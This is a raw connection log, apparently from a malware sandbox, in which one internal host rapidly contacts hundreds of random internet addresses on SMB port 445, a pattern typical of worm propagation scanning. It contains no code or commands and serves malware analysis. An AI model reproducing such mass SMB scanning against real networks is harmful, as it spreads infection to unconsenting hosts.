Jul 20, 2022 15:47:13.753110886 CEST	445	60572	107.186.141.50	192.168.2.7
Jul 20, 2022 15:47:13.754012108 CEST	60572	445	192.168.2.7	107.186.141.50
Jul 20, 2022 15:47:13.924542904 CEST	445	60572	107.186.141.50	192.168.2.7
Jul 20, 2022 15:47:13.924815893 CEST	60572	445	192.168.2.7	107.186.141.50
Jul 20, 2022 15:47:13.925731897 CEST	60630	445	192.168.2.7	95.206.5.115
Jul 20, 2022 15:47:13.926847935 CEST	60632	445	192.168.2.7	167.26.180.150
Jul 20, 2022 15:47:13.927658081 CEST	60633	445	192.168.2.7	67.139.84.208
Jul 20, 2022 15:47:13.967932940 CEST	60637	445	192.168.2.7	147.125.48.57
Jul 20, 2022 15:47:14.068291903 CEST	60640	445	192.168.2.7	124.138.221.160
Jul 20, 2022 15:47:14.096687078 CEST	445	60572	107.186.141.50	192.168.2.7
Jul 20, 2022 15:47:14.127613068 CEST	60650	445	192.168.2.7	119.133.3.230
Jul 20, 2022 15:47:14.127724886 CEST	60654	445	192.168.2.7	182.57.107.155
Jul 20, 2022 15:47:14.127832890 CEST	60657	445	192.168.2.7	63.38.17.253
Jul 20, 2022 15:47:14.127923965 CEST	60659	445	192.168.2.7	90.84.145.48
Jul 20, 2022 15:47:14.128036022 CEST	60662	445	192.168.2.7	42.156.100.91
Jul 20, 2022 15:47:14.128340960 CEST	60666	445	192.168.2.7	50.124.200.25
Jul 20, 2022 15:47:14.128525019 CEST	60668	445	192.168.2.7	142.7.167.112
Jul 20, 2022 15:47:14.128734112 CEST	60672	445	192.168.2.7	5.148.178.1
Jul 20, 2022 15:47:14.129018068 CEST	60678	445	192.168.2.7	61.80.109.165
Jul 20, 2022 15:47:14.129064083 CEST	60679	445	192.168.2.7	61.251.89.187
Jul 20, 2022 15:47:14.140491009 CEST	445	60672	5.148.178.1	192.168.2.7
Jul 20, 2022 15:47:14.348793983 CEST	60681	445	192.168.2.7	188.18.139.106
Jul 20, 2022 15:47:14.440793037 CEST	59919	445	192.168.2.7	149.20.139.4
Jul 20, 2022 15:47:14.601259947 CEST	60687	445	192.168.2.7	171.237.67.120
Jul 20, 2022 15:47:14.601703882 CEST	60692	445	192.168.2.7	76.197.179.122
Jul 20, 2022 15:47:14.606523037 CEST	60697	445	192.168.2.7	216.169.33.91
Jul 20, 2022 15:47:14.606574059 CEST	60700	445	192.168.2.7	187.87.136.40
Jul 20, 2022 15:47:14.606627941 CEST	60703	445	192.168.2.7	68.113.155.42
Jul 20, 2022 15:47:14.606672049 CEST	60704	445	192.168.2.7	38.123.200.190
Jul 20, 2022 15:47:14.606729984 CEST	60706	445	192.168.2.7	73.104.72.175
Jul 20, 2022 15:47:14.643927097 CEST	60672	445	192.168.2.7	5.148.178.1
Jul 20, 2022 15:47:14.647245884 CEST	60712	445	192.168.2.7	139.97.58.53
Jul 20, 2022 15:47:14.650876045 CEST	60717	445	192.168.2.7	91.129.195.120
Jul 20, 2022 15:47:14.653484106 CEST	60721	445	192.168.2.7	117.194.248.73
Jul 20, 2022 15:47:14.654196978 CEST	60722	445	192.168.2.7	152.159.58.7
Jul 20, 2022 15:47:14.654813051 CEST	60723	445	192.168.2.7	203.102.130.244
Jul 20, 2022 15:47:14.658080101 CEST	445	60672	5.148.178.1	192.168.2.7
Jul 20, 2022 15:47:14.758250952 CEST	60737	445	192.168.2.7	36.0.239.25
Jul 20, 2022 15:47:15.043782949 CEST	60740	445	192.168.2.7	13.234.16.65
Jul 20, 2022 15:47:15.043819904 CEST	60741	445	192.168.2.7	121.189.248.57
Jul 20, 2022 15:47:15.043936968 CEST	60742	445	192.168.2.7	90.243.65.96
Jul 20, 2022 15:47:15.081935883 CEST	60744	445	192.168.2.7	119.118.63.192
Jul 20, 2022 15:47:15.191669941 CEST	60750	445	192.168.2.7	214.235.201.168
Jul 20, 2022 15:47:15.238065004 CEST	60757	445	192.168.2.7	101.88.51.23
Jul 20, 2022 15:47:15.238488913 CEST	60758	445	192.168.2.7	93.211.99.167
Jul 20, 2022 15:47:15.238616943 CEST	60764	445	192.168.2.7	125.4.217.219
Jul 20, 2022 15:47:15.238959074 CEST	60768	445	192.168.2.7	2.112.172.150
Jul 20, 2022 15:47:15.239182949 CEST	60771	445	192.168.2.7	10.73.22.96
Jul 20, 2022 15:47:15.239680052 CEST	60778	445	192.168.2.7	217.152.168.108
Jul 20, 2022 15:47:15.239708900 CEST	60770	445	192.168.2.7	111.195.113.26
Jul 20, 2022 15:47:15.239711046 CEST	60775	445	192.168.2.7	72.162.241.211
Jul 20, 2022 15:47:15.240052938 CEST	60783	445	192.168.2.7	119.60.10.150
Jul 20, 2022 15:47:15.241638899 CEST	60782	445	192.168.2.7	108.34.92.83
Jul 20, 2022 15:47:15.425616980 CEST	60791	445	192.168.2.7	188.18.139.107
Jul 20, 2022 15:47:15.706950903 CEST	60796	445	192.168.2.7	130.142.221.1
Jul 20, 2022 15:47:15.706984997 CEST	60797	445	192.168.2.7	12.234.120.152
Jul 20, 2022 15:47:15.707132101 CEST	60799	445	192.168.2.7	105.13.156.133
Jul 20, 2022 15:47:15.707169056 CEST	60800	445	192.168.2.7	35.248.54.124
Jul 20, 2022 15:47:15.707657099 CEST	60806	445	192.168.2.7	135.51.191.167
Jul 20, 2022 15:47:15.707885027 CEST	60813	445	192.168.2.7	5.67.154.145
Jul 20, 2022 15:47:15.708267927 CEST	60820	445	192.168.2.7	136.149.27.194
Jul 20, 2022 15:47:15.769520044 CEST	60822	445	192.168.2.7	88.227.44.103
Jul 20, 2022 15:47:15.770055056 CEST	60831	445	192.168.2.7	14.88.204.178
Jul 20, 2022 15:47:15.770073891 CEST	60827	445	192.168.2.7	210.200.35.180
Jul 20, 2022 15:47:15.770085096 CEST	60832	445	192.168.2.7	211.196.170.149
Jul 20, 2022 15:47:15.770256042 CEST	60833	445	192.168.2.7	132.226.61.227
Jul 20, 2022 15:47:15.879055023 CEST	60848	445	192.168.2.7	14.172.102.57
Jul 20, 2022 15:47:16.160223007 CEST	60852	445	192.168.2.7	73.116.109.125
Jul 20, 2022 15:47:16.160415888 CEST	60851	445	192.168.2.7	45.219.62.208
Jul 20, 2022 15:47:16.160417080 CEST	60854	445	192.168.2.7	163.238.162.223
Jul 20, 2022 15:47:16.206981897 CEST	60856	445	192.168.2.7	145.132.41.155
Jul 20, 2022 15:47:16.316607952 CEST	60860	445	192.168.2.7	10.81.130.32
Jul 20, 2022 15:47:16.364084005 CEST	60873	445	192.168.2.7	116.57.206.14
Jul 20, 2022 15:47:16.364166975 CEST	60875	445	192.168.2.7	82.233.49.217
Jul 20, 2022 15:47:16.364429951 CEST	60879	445	192.168.2.7	156.21.143.85
Jul 20, 2022 15:47:16.364470959 CEST	60880	445	192.168.2.7	195.39.185.41
Jul 20, 2022 15:47:16.364808083 CEST	60885	445	192.168.2.7	126.101.214.179
Jul 20, 2022 15:47:16.364908934 CEST	60887	445	192.168.2.7	204.25.150.21
Jul 20, 2022 15:47:16.364968061 CEST	60888	445	192.168.2.7	67.167.217.12
Jul 20, 2022 15:47:16.365190983 CEST	60892	445	192.168.2.7	206.150.254.11
Jul 20, 2022 15:47:16.365608931 CEST	60899	445	192.168.2.7	25.191.80.175
Jul 20, 2022 15:47:16.365637064 CEST	60900	445	192.168.2.7	119.41.148.62
Jul 20, 2022 15:47:16.504571915 CEST	60902	445	192.168.2.7	188.18.139.108
Jul 20, 2022 15:47:16.832997084 CEST	60907	445	192.168.2.7	162.88.66.88
Jul 20, 2022 15:47:16.833594084 CEST	60913	445	192.168.2.7	66.24.195.180
Jul 20, 2022 15:47:16.834239960 CEST	60920	445	192.168.2.7	78.143.159.121
Jul 20, 2022 15:47:16.834825993 CEST	60926	445	192.168.2.7	37.38.33.207
Jul 20, 2022 15:47:16.834866047 CEST	60927	445	192.168.2.7	120.16.112.30
Jul 20, 2022 15:47:16.835136890 CEST	60929	445	192.168.2.7	219.78.248.33
Jul 20, 2022 15:47:16.835280895 CEST	60930	445	192.168.2.7	196.94.80.113
Jul 20, 2022 15:47:16.894701958 CEST	60932	445	192.168.2.7	118.16.35.31
Jul 20, 2022 15:47:16.895092010 CEST	60939	445	192.168.2.7	120.140.175.202
Jul 20, 2022 15:47:16.895313978 CEST	60942	445	192.168.2.7	185.199.236.222
Jul 20, 2022 15:47:16.895457029 CEST	60943	445	192.168.2.7	110.219.161.29
Jul 20, 2022 15:47:16.895622015 CEST	60946	445	192.168.2.7	156.241.205.205
Jul 20, 2022 15:47:16.989141941 CEST	60960	445	192.168.2.7	16.117.118.244
Jul 20, 2022 15:47:17.037623882 CEST	445	60929	219.78.248.33	192.168.2.7
Jul 20, 2022 15:47:17.113492012 CEST	60961	445	192.168.2.7	107.186.141.50
Jul 20, 2022 15:47:17.282613039 CEST	445	60961	107.186.141.50	192.168.2.7
Jul 20, 2022 15:47:17.285545111 CEST	60963	445	192.168.2.7	195.107.246.252
Jul 20, 2022 15:47:17.285716057 CEST	60961	445	192.168.2.7	107.186.141.50
Jul 20, 2022 15:47:17.285732031 CEST	60964	445	192.168.2.7	8.22.19.145
Jul 20, 2022 15:47:17.285741091 CEST	60965	445	192.168.2.7	190.192.8.125
Jul 20, 2022 15:47:17.285758972 CEST	60961	445	192.168.2.7	107.186.141.50
Jul 20, 2022 15:47:17.332078934 CEST	60970	445	192.168.2.7	60.139.17.5
Jul 20, 2022 15:47:17.425826073 CEST	60972	445	192.168.2.7	144.157.22.237
Jul 20, 2022 15:47:17.460602999 CEST	445	60961	107.186.141.50	192.168.2.7
Jul 20, 2022 15:47:17.466991901 CEST	60961	445	192.168.2.7	107.186.141.50
Jul 20, 2022 15:47:17.489316940 CEST	60985	445	192.168.2.7	149.145.202.97
Jul 20, 2022 15:47:17.489531994 CEST	60987	445	192.168.2.7	2.71.120.163
Jul 20, 2022 15:47:17.489865065 CEST	60991	445	192.168.2.7	60.165.106.103
Jul 20, 2022 15:47:17.489914894 CEST	60992	445	192.168.2.7	173.124.85.212
Jul 20, 2022 15:47:17.490118980 CEST	60995	445	192.168.2.7	39.199.78.214
Jul 20, 2022 15:47:17.490319014 CEST	60999	445	192.168.2.7	118.176.185.55
Jul 20, 2022 15:47:17.490406036 CEST	61000	445	192.168.2.7	39.12.53.169
Jul 20, 2022 15:47:17.490593910 CEST	61004	445	192.168.2.7	53.176.237.2
Jul 20, 2022 15:47:17.490974903 CEST	61011	445	192.168.2.7	12.230.62.120
Jul 20, 2022 15:47:17.491075993 CEST	61012	445	192.168.2.7	21.1.37.32
Jul 20, 2022 15:47:17.550363064 CEST	60929	445	192.168.2.7	219.78.248.33
Jul 20, 2022 15:47:17.581995964 CEST	61013	445	192.168.2.7	188.18.139.109
Jul 20, 2022 15:47:17.636645079 CEST	445	60970	60.139.17.5	192.168.2.7
Jul 20, 2022 15:47:17.638156891 CEST	445	60961	107.186.141.50	192.168.2.7
Jul 20, 2022 15:47:17.642294884 CEST	60961	445	192.168.2.7	107.186.141.50
Jul 20, 2022 15:47:17.752954960 CEST	445	60929	219.78.248.33	192.168.2.7
Jul 20, 2022 15:47:17.812812090 CEST	445	60961	107.186.141.50	192.168.2.7
Jul 20, 2022 15:47:17.879714966 CEST	61017	445	192.168.2.7	107.186.141.51
Jul 20, 2022 15:47:17.957604885 CEST	61020	445	192.168.2.7	221.59.177.169
Jul 20, 2022 15:47:17.958165884 CEST	61024	445	192.168.2.7	2.246.74.20
Jul 20, 2022 15:47:17.958266973 CEST	61025	445	192.168.2.7	163.205.141.189
Jul 20, 2022 15:47:17.958415031 CEST	61026	445	192.168.2.7	13.77.52.162
Jul 20, 2022 15:47:17.958580017 CEST	61028	445	192.168.2.7	59.241.196.100
Jul 20, 2022 15:47:17.959033012 CEST	61033	445	192.168.2.7	105.91.147.209
Jul 20, 2022 15:47:17.959686041 CEST	61043	445	192.168.2.7	155.192.144.86
Jul 20, 2022 15:47:18.004008055 CEST	61046	445	192.168.2.7	53.170.10.38
Jul 20, 2022 15:47:18.004750013 CEST	61052	445	192.168.2.7	67.85.120.245
Jul 20, 2022 15:47:18.004991055 CEST	61056	445	192.168.2.7	170.73.2.157
Jul 20, 2022 15:47:18.005251884 CEST	61059	445	192.168.2.7	82.72.190.138
Jul 20, 2022 15:47:18.008253098 CEST	61057	445	192.168.2.7	191.66.22.143
Jul 20, 2022 15:47:18.049273968 CEST	445	61017	107.186.141.51	192.168.2.7
Jul 20, 2022 15:47:18.049525023 CEST	61017	445	192.168.2.7	107.186.141.51
Jul 20, 2022 15:47:18.049644947 CEST	61017	445	192.168.2.7	107.186.141.51
Jul 20, 2022 15:47:18.050277948 CEST	61062	445	192.168.2.7	107.186.141.51
Jul 20, 2022 15:47:18.097839117 CEST	61070	445	192.168.2.7	69.104.182.71
Jul 20, 2022 15:47:18.144197941 CEST	60970	445	192.168.2.7	60.139.17.5
Jul 20, 2022 15:47:18.218713045 CEST	445	61017	107.186.141.51	192.168.2.7
Jul 20, 2022 15:47:18.218741894 CEST	445	61017	107.186.141.51	192.168.2.7
Jul 20, 2022 15:47:18.219422102 CEST	445	61062	107.186.141.51	192.168.2.7
Jul 20, 2022 15:47:18.219551086 CEST	61062	445	192.168.2.7	107.186.141.51
Jul 20, 2022 15:47:18.219600916 CEST	61062	445	192.168.2.7	107.186.141.51
Jul 20, 2022 15:47:18.389233112 CEST	445	61062	107.186.141.51	192.168.2.7
Jul 20, 2022 15:47:18.390532017 CEST	61062	445	192.168.2.7	107.186.141.51
Jul 20, 2022 15:47:18.394833088 CEST	61077	445	192.168.2.7	48.176.22.156
Jul 20, 2022 15:47:18.394836903 CEST	61078	445	192.168.2.7	148.18.113.216
Jul 20, 2022 15:47:18.395009041 CEST	61079	445	192.168.2.7	51.183.185.167
Jul 20, 2022 15:47:18.447520971 CEST	445	60970	60.139.17.5	192.168.2.7
Jul 20, 2022 15:47:18.457463980 CEST	61084	445	192.168.2.7	34.90.9.194
Jul 20, 2022 15:47:18.551291943 CEST	61087	445	192.168.2.7	191.141.179.171
Jul 20, 2022 15:47:18.559775114 CEST	445	61062	107.186.141.51	192.168.2.7
Jul 20, 2022 15:47:18.560131073 CEST	61062	445	192.168.2.7	107.186.141.51
Jul 20, 2022 15:47:18.613745928 CEST	61099	445	192.168.2.7	59.60.77.58
Jul 20, 2022 15:47:18.613766909 CEST	61100	445	192.168.2.7	160.107.65.10
Jul 20, 2022 15:47:18.614082098 CEST	61104	445	192.168.2.7	8.187.74.156
Jul 20, 2022 15:47:18.614232063 CEST	61106	445	192.168.2.7	158.236.185.198
Jul 20, 2022 15:47:18.614403963 CEST	61108	445	192.168.2.7	93.48.127.29
Jul 20, 2022 15:47:18.614691973 CEST	61112	445	192.168.2.7	16.103.51.11
Jul 20, 2022 15:47:18.614897966 CEST	61115	445	192.168.2.7	186.191.250.179
Jul 20, 2022 15:47:18.615040064 CEST	61118	445	192.168.2.7	36.16.230.153
Jul 20, 2022 15:47:18.615509033 CEST	61125	445	192.168.2.7	62.119.56.147
Jul 20, 2022 15:47:18.615551949 CEST	61126	445	192.168.2.7	15.184.8.163
Jul 20, 2022 15:47:18.660165071 CEST	61127	445	192.168.2.7	188.18.139.110
Jul 20, 2022 15:47:18.729332924 CEST	445	61062	107.186.141.51	192.168.2.7
Jul 20, 2022 15:47:19.083110094 CEST	61133	445	192.168.2.7	208.73.175.153
Jul 20, 2022 15:47:19.083982944 CEST	61141	445	192.168.2.7	2.203.241.25
Jul 20, 2022 15:47:19.085024118 CEST	61152	445	192.168.2.7	44.48.126.184
Jul 20, 2022 15:47:19.085315943 CEST	61155	445	192.168.2.7	128.76.4.156
Jul 20, 2022 15:47:19.085324049 CEST	61153	445	192.168.2.7	12.234.221.13
Jul 20, 2022 15:47:19.085757971 CEST	61158	445	192.168.2.7	136.147.146.122
Jul 20, 2022 15:47:19.086448908 CEST	61149	445	192.168.2.7	85.94.252.115
Jul 20, 2022 15:47:19.130958080 CEST	61166	445	192.168.2.7	24.132.186.61
Jul 20, 2022 15:47:19.131371021 CEST	61170	445	192.168.2.7	192.195.95.38
Jul 20, 2022 15:47:19.131376982 CEST	61159	445	192.168.2.7	110.2.26.197
Jul 20, 2022 15:47:19.131412983 CEST	61169	445	192.168.2.7	214.219.36.213
Jul 20, 2022 15:47:19.132349014 CEST	61172	445	192.168.2.7	35.30.216.155
Jul 20, 2022 15:47:19.208017111 CEST	61182	445	192.168.2.7	146.57.48.34
Jul 20, 2022 15:47:19.520179033 CEST	61190	445	192.168.2.7	95.45.39.76
Jul 20, 2022 15:47:19.520308018 CEST	61191	445	192.168.2.7	46.151.77.141
Jul 20, 2022 15:47:19.520353079 CEST	61189	445	192.168.2.7	211.114.156.138
Jul 20, 2022 15:47:19.567713022 CEST	61196	445	192.168.2.7	59.205.245.100
Jul 20, 2022 15:47:19.661233902 CEST	61199	445	192.168.2.7	77.75.183.253
Jul 20, 2022 15:47:19.738826990 CEST	61210	445	192.168.2.7	223.122.212.233
Jul 20, 2022 15:47:19.739104986 CEST	61213	445	192.168.2.7	196.242.205.91
Jul 20, 2022 15:47:19.739505053 CEST	61216	445	192.168.2.7	20.136.76.66
Jul 20, 2022 15:47:19.739593983 CEST	61219	445	192.168.2.7	133.81.19.114
Jul 20, 2022 15:47:19.739881992 CEST	61222	445	192.168.2.7	52.125.10.225
Jul 20, 2022 15:47:19.740149021 CEST	61226	445	192.168.2.7	13.61.112.25
Jul 20, 2022 15:47:19.740978956 CEST	61235	445	192.168.2.7	100.249.80.154
Jul 20, 2022 15:47:19.741159916 CEST	61236	445	192.168.2.7	220.55.65.3
Jul 20, 2022 15:47:19.741194963 CEST	61237	445	192.168.2.7	188.18.139.111
Jul 20, 2022 15:47:19.741298914 CEST	61239	445	192.168.2.7	147.183.180.91
Jul 20, 2022 15:47:19.829458952 CEST	445	61237	188.18.139.111	192.168.2.7
Jul 20, 2022 15:47:19.829710960 CEST	61237	445	192.168.2.7	188.18.139.111
Jul 20, 2022 15:47:19.829780102 CEST	61237	445	192.168.2.7	188.18.139.111
Jul 20, 2022 15:47:19.830518007 CEST	61241	445	192.168.2.7	188.18.139.111
Jul 20, 2022 15:47:19.917563915 CEST	445	61237	188.18.139.111	192.168.2.7
Jul 20, 2022 15:47:19.918348074 CEST	445	61241	188.18.139.111	192.168.2.7
Jul 20, 2022 15:47:19.918481112 CEST	61241	445	192.168.2.7	188.18.139.111
Jul 20, 2022 15:47:19.918601036 CEST	61241	445	192.168.2.7	188.18.139.111
Jul 20, 2022 15:47:19.925523996 CEST	445	61237	188.18.139.111	192.168.2.7
Jul 20, 2022 15:47:19.925796986 CEST	61237	445	192.168.2.7	188.18.139.111
Jul 20, 2022 15:47:20.006382942 CEST	445	61241	188.18.139.111	192.168.2.7
Jul 20, 2022 15:47:20.014355898 CEST	445	61241	188.18.139.111	192.168.2.7
Jul 20, 2022 15:47:20.014508009 CEST	61241	445	192.168.2.7	188.18.139.111
Jul 20, 2022 15:47:20.106312990 CEST	445	61241	188.18.139.111	192.168.2.7
Jul 20, 2022 15:47:20.106573105 CEST	61241	445	192.168.2.7	188.18.139.111
Jul 20, 2022 15:47:20.194375038 CEST	445	61241	188.18.139.111	192.168.2.7
Jul 20, 2022 15:47:20.194535017 CEST	61241	445	192.168.2.7	188.18.139.111
Jul 20, 2022 15:47:20.207346916 CEST	61247	445	192.168.2.7	173.248.173.46
Jul 20, 2022 15:47:20.208798885 CEST	61254	445	192.168.2.7	203.32.4.110
Jul 20, 2022 15:47:20.209700108 CEST	61264	445	192.168.2.7	128.48.99.190
Jul 20, 2022 15:47:20.209958076 CEST	61268	445	192.168.2.7	7.132.74.64
Jul 20, 2022 15:47:20.210036993 CEST	61269	445	192.168.2.7	176.28.37.202
Jul 20, 2022 15:47:20.210063934 CEST	61270	445	192.168.2.7	205.13.1.137
Jul 20, 2022 15:47:20.231502056 CEST	445	61269	176.28.37.202	192.168.2.7
Jul 20, 2022 15:47:20.254609108 CEST	61274	445	192.168.2.7	198.8.32.169
Jul 20, 2022 15:47:20.254956961 CEST	61281	445	192.168.2.7	93.42.128.236
Jul 20, 2022 15:47:20.255089045 CEST	61283	445	192.168.2.7	39.135.230.69
Jul 20, 2022 15:47:20.255124092 CEST	61284	445	192.168.2.7	9.215.235.129
Jul 20, 2022 15:47:20.255271912 CEST	61286	445	192.168.2.7	49.212.35.128
Jul 20, 2022 15:47:20.282413960 CEST	445	61241	188.18.139.111	192.168.2.7
Jul 20, 2022 15:47:20.282576084 CEST	61241	445	192.168.2.7	188.18.139.111
Jul 20, 2022 15:47:20.332664013 CEST	61297	445	192.168.2.7	190.110.69.175
Jul 20, 2022 15:47:20.374437094 CEST	445	61241	188.18.139.111	192.168.2.7
Jul 20, 2022 15:47:20.374560118 CEST	61241	445	192.168.2.7	188.18.139.111
Jul 20, 2022 15:47:20.629487991 CEST	61303	445	192.168.2.7	28.236.13.192
Jul 20, 2022 15:47:20.629560947 CEST	61304	445	192.168.2.7	16.217.174.208
Jul 20, 2022 15:47:20.629894018 CEST	61306	445	192.168.2.7	119.92.253.205
Jul 20, 2022 15:47:20.692420006 CEST	61309	445	192.168.2.7	62.9.130.197
Jul 20, 2022 15:47:20.738162041 CEST	61269	445	192.168.2.7	176.28.37.202
Jul 20, 2022 15:47:20.758131027 CEST	445	61269	176.28.37.202	192.168.2.7
Jul 20, 2022 15:47:20.786504030 CEST	61317	445	192.168.2.7	51.252.172.3
Jul 20, 2022 15:47:20.864923000 CEST	61320	445	192.168.2.7	172.180.184.246
Jul 20, 2022 15:47:20.865093946 CEST	61321	445	192.168.2.7	144.61.227.186
Jul 20, 2022 15:47:20.865135908 CEST	61322	445	192.168.2.7	29.136.191.149
Jul 20, 2022 15:47:20.865308046 CEST	61326	445	192.168.2.7	180.223.228.14
Jul 20, 2022 15:47:20.865509033 CEST	61330	445	192.168.2.7	105.224.200.169
Jul 20, 2022 15:47:20.865525961 CEST	61331	445	192.168.2.7	87.135.140.155
Jul 20, 2022 15:47:20.865883112 CEST	61338	445	192.168.2.7	23.23.168.16
Jul 20, 2022 15:47:20.866100073 CEST	61341	445	192.168.2.7	142.208.6.146
Jul 20, 2022 15:47:20.866246939 CEST	61344	445	192.168.2.7	179.64.171.67
Jul 20, 2022 15:47:20.866250992 CEST	61345	445	192.168.2.7	100.59.116.23
Jul 20, 2022 15:47:20.968033075 CEST	445	61326	180.223.228.14	192.168.2.7
Jul 20, 2022 15:47:21.332551956 CEST	61359	445	192.168.2.7	46.125.113.119
Jul 20, 2022 15:47:21.332638025 CEST	61360	445	192.168.2.7	80.60.213.223
Jul 20, 2022 15:47:21.333587885 CEST	61376	445	192.168.2.7	116.121.170.227
Jul 20, 2022 15:47:21.333698988 CEST	61379	445	192.168.2.7	215.121.228.208
Jul 20, 2022 15:47:21.333827019 CEST	61380	445	192.168.2.7	8.162.33.127
Jul 20, 2022 15:47:21.333847046 CEST	61381	445	192.168.2.7	22.55.165.52
Jul 20, 2022 15:47:21.333911896 CEST	61382	445	192.168.2.7	105.152.239.191
Jul 20, 2022 15:47:21.379348040 CEST	61386	445	192.168.2.7	98.217.226.142
Jul 20, 2022 15:47:21.379780054 CEST	61393	445	192.168.2.7	113.196.204.2
Jul 20, 2022 15:47:21.379925013 CEST	61394	445	192.168.2.7	133.29.87.196
Jul 20, 2022 15:47:21.380008936 CEST	61396	445	192.168.2.7	124.241.237.83
Jul 20, 2022 15:47:21.380192995 CEST	61398	445	192.168.2.7	185.97.81.98
Jul 20, 2022 15:47:21.457885981 CEST	61409	445	192.168.2.7	33.134.64.3
Jul 20, 2022 15:47:21.472553015 CEST	61326	445	192.168.2.7	180.223.228.14
Jul 20, 2022 15:47:21.575397015 CEST	445	61326	180.223.228.14	192.168.2.7
Jul 20, 2022 15:47:21.738605022 CEST	61415	445	192.168.2.7	107.186.141.51
Jul 20, 2022 15:47:21.754213095 CEST	61416	445	192.168.2.7	35.48.150.57
Jul 20, 2022 15:47:21.754384041 CEST	61418	445	192.168.2.7	145.145.227.53
Jul 20, 2022 15:47:21.754589081 CEST	61417	445	192.168.2.7	140.114.180.172
Jul 20, 2022 15:47:21.816963911 CEST	61421	445	192.168.2.7	168.225.71.251
Jul 20, 2022 15:47:21.908031940 CEST	445	61415	107.186.141.51	192.168.2.7
Jul 20, 2022 15:47:21.908179045 CEST	61415	445	192.168.2.7	107.186.141.51
Jul 20, 2022 15:47:21.908236980 CEST	61415	445	192.168.2.7	107.186.141.51
Jul 20, 2022 15:47:21.910896063 CEST	61433	445	192.168.2.7	157.61.250.165
Jul 20, 2022 15:47:21.989197969 CEST	61440	445	192.168.2.7	140.182.181.82
Jul 20, 2022 15:47:21.989306927 CEST	61442	445	192.168.2.7	139.161.143.212
Jul 20, 2022 15:47:21.989473104 CEST	61444	445	192.168.2.7	189.166.234.95
Jul 20, 2022 15:47:21.989639044 CEST	61447	445	192.168.2.7	153.229.21.102
Jul 20, 2022 15:47:21.990117073 CEST	61454	445	192.168.2.7	108.109.111.126
Jul 20, 2022 15:47:21.990225077 CEST	61456	445	192.168.2.7	203.194.19.188
Jul 20, 2022 15:47:21.990410089 CEST	61459	445	192.168.2.7	189.103.81.102
Jul 20, 2022 15:47:21.990699053 CEST	61463	445	192.168.2.7	147.13.228.223
Jul 20, 2022 15:47:21.990859032 CEST	61465	445	192.168.2.7	155.155.90.227
Jul 20, 2022 15:47:21.990942001 CEST	61466	445	192.168.2.7	179.28.33.204
Jul 20, 2022 15:47:22.081728935 CEST	445	61415	107.186.141.51	192.168.2.7
Jul 20, 2022 15:47:22.081842899 CEST	61415	445	192.168.2.7	107.186.141.51
Jul 20, 2022 15:47:22.251012087 CEST	445	61415	107.186.141.51	192.168.2.7
Jul 20, 2022 15:47:22.251172066 CEST	61415	445	192.168.2.7	107.186.141.51
Jul 20, 2022 15:47:22.420244932 CEST	445	61415	107.186.141.51	192.168.2.7
Jul 20, 2022 15:47:22.442545891 CEST	61474	445	192.168.2.7	72.49.250.9
Jul 20, 2022 15:47:22.442595959 CEST	61473	445	192.168.2.7	109.72.36.128
Jul 20, 2022 15:47:22.443507910 CEST	61490	445	192.168.2.7	88.52.196.241
Jul 20, 2022 15:47:22.443685055 CEST	61493	445	192.168.2.7	174.7.183.58
Jul 20, 2022 15:47:22.443723917 CEST	61494	445	192.168.2.7	201.66.28.124
Jul 20, 2022 15:47:22.443903923 CEST	61495	445	192.168.2.7	66.238.57.95
Jul 20, 2022 15:47:22.443908930 CEST	61496	445	192.168.2.7	171.142.198.104
Jul 20, 2022 15:47:22.473159075 CEST	61499	445	192.168.2.7	107.186.141.52
Jul 20, 2022 15:47:22.504626989 CEST	61502	445	192.168.2.7	196.250.97.161
Jul 20, 2022 15:47:22.505203009 CEST	61509	445	192.168.2.7	99.33.12.188
Jul 20, 2022 15:47:22.505255938 CEST	61510	445	192.168.2.7	136.135.163.228
Jul 20, 2022 15:47:22.505357981 CEST	61511	445	192.168.2.7	2.67.147.220
Jul 20, 2022 15:47:22.505588055 CEST	61514	445	192.168.2.7	23.135.80.175
Jul 20, 2022 15:47:22.582537889 CEST	61523	445	192.168.2.7	51.137.78.77
Jul 20, 2022 15:47:22.643059015 CEST	445	61499	107.186.141.52	192.168.2.7
Jul 20, 2022 15:47:22.643170118 CEST	61499	445	192.168.2.7	107.186.141.52
Jul 20, 2022 15:47:22.643229008 CEST	61499	445	192.168.2.7	107.186.141.52
Jul 20, 2022 15:47:22.643726110 CEST	61529	445	192.168.2.7	107.186.141.52
Jul 20, 2022 15:47:22.812097073 CEST	445	61499	107.186.141.52	192.168.2.7
Jul 20, 2022 15:47:22.812127113 CEST	445	61499	107.186.141.52	192.168.2.7
Jul 20, 2022 15:47:22.812500954 CEST	445	61529	107.186.141.52	192.168.2.7
Jul 20, 2022 15:47:22.812642097 CEST	61529	445	192.168.2.7	107.186.141.52
Jul 20, 2022 15:47:22.812684059 CEST	61529	445	192.168.2.7	107.186.141.52
Jul 20, 2022 15:47:22.880096912 CEST	61532	445	192.168.2.7	29.23.199.0
Jul 20, 2022 15:47:22.880177975 CEST	61533	445	192.168.2.7	175.222.2.209
Jul 20, 2022 15:47:22.880614996 CEST	61534	445	192.168.2.7	70.83.182.54
Jul 20, 2022 15:47:22.926747084 CEST	61535	445	192.168.2.7	40.147.35.194
Jul 20, 2022 15:47:22.982099056 CEST	445	61529	107.186.141.52	192.168.2.7
Jul 20, 2022 15:47:22.982289076 CEST	61529	445	192.168.2.7	107.186.141.52
Jul 20, 2022 15:47:23.036531925 CEST	61547	445	192.168.2.7	26.2.201.198
Jul 20, 2022 15:47:23.114738941 CEST	61552	445	192.168.2.7	128.143.193.222
Jul 20, 2022 15:47:23.114775896 CEST	61553	445	192.168.2.7	42.30.249.237
Jul 20, 2022 15:47:23.114797115 CEST	61555	445	192.168.2.7	212.26.50.211
Jul 20, 2022 15:47:23.115164042 CEST	61561	445	192.168.2.7	133.249.221.221
Jul 20, 2022 15:47:23.116153955 CEST	61571	445	192.168.2.7	13.96.121.22
Jul 20, 2022 15:47:23.116156101 CEST	61574	445	192.168.2.7	166.195.196.134
Jul 20, 2022 15:47:23.116364956 CEST	61578	445	192.168.2.7	35.147.223.44
Jul 20, 2022 15:47:23.116491079 CEST	61580	445	192.168.2.7	112.41.179.191
Jul 20, 2022 15:47:23.116677999 CEST	61581	445	192.168.2.7	81.127.194.216
Jul 20, 2022 15:47:23.116687059 CEST	61570	445	192.168.2.7	30.153.245.207
Jul 20, 2022 15:47:23.151776075 CEST	445	61529	107.186.141.52	192.168.2.7
Jul 20, 2022 15:47:23.151937008 CEST	61529	445	192.168.2.7	107.186.141.52
Jul 20, 2022 15:47:23.285525084 CEST	61584	445	192.168.2.7	188.18.139.111
